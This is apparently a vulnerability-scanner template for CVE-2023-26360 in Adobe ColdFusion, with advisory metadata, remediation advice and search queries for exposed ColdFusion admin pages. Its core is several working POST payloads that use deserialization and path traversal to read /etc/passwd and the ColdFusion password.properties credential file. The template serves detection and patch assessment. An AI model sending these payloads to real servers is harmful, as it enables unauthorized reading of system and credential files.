Adobe ColdFusion - Local File Read
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id: CVE-2023-26360
info:
name: Adobe ColdFusion - Local File Read
author: DhiyaneshDK,7own
severity: high
description: |
Unauthenticated Arbitrary File Read vulnerability due to deserialization of untrusted data in Adobe ColdFusion. The vulnerability affects ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier
impact: |
This vulnerability can lead to unauthorized access to sensitive information stored on the server.
remediation: |
Apply the necessary security patches or updates provided by Adobe to fix the vulnerability.
reference:
- https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis
- https://nvd.nist.gov/vuln/detail/CVE-2023-26360
- https://helpx.adobe.com/security/products/coldfusion/apsb23-25.html
- http://packetstormsecurity.com/files/172079/Adobe-ColdFusion-Unauthenticated-Remote-Code-Execution.html
- https://github.com/Ostorlab/KEV
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cve-id: CVE-2023-26360
cwe-id: CWE-284
epss-score: 0.97339
epss-percentile: 0.9989
cpe: cpe:2.3:a:adobe:coldfusion:2018:-:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: adobe
product: coldfusion
shodan-query:
- http.component:"Adobe ColdFusion"
- http.component:"adobe coldfusion"
- http.title:"coldfusion administrator login"
- cpe:"cpe:2.3:a:adobe:coldfusion"
fofa-query:
- title="coldfusion administrator login"
- app="adobe-coldfusion"
google-query: intitle:"coldfusion administrator login"
tags: cve2023,cve,packetstorm,adobe,coldfusion,lfi,kev,vkev,vuln
http:
- raw:
- |
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_cfclient=true&returnFormat=wddx&inPassword=foo HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../etc/passwd"}, "_variables":{}}}
- |
POST /CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../etc/passwd"}, "_variables":{}}}
- |
POST /cfusion/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../etc/passwd"}, "_variables":{}}}
- |
POST //CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../etc/passwd"}, "_variables":{}}}
- |
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_cfclient=true&returnFormat=wddx&inPassword=foo HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_variables=%7b%22_metadata%22%3a%7b%22classname%22%3a%22i/../lib/password.properties%22%7d%2c%22_variables%22%3a%5b%5d%7d
stop-at-first-match: true
matchers-condition: or
matchers:
- type: word
part: body
words:
- "password="
- "encrypted=true"
- "adobe"
condition: and
- type: regex
regex:
- "root:.*:0:0:"
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04 Feb 2026 07:00Current
8.3High risk
Vulners AI Score8.3
CVSS 3.18.6 - 9.8
EPSS0.97339
SSVC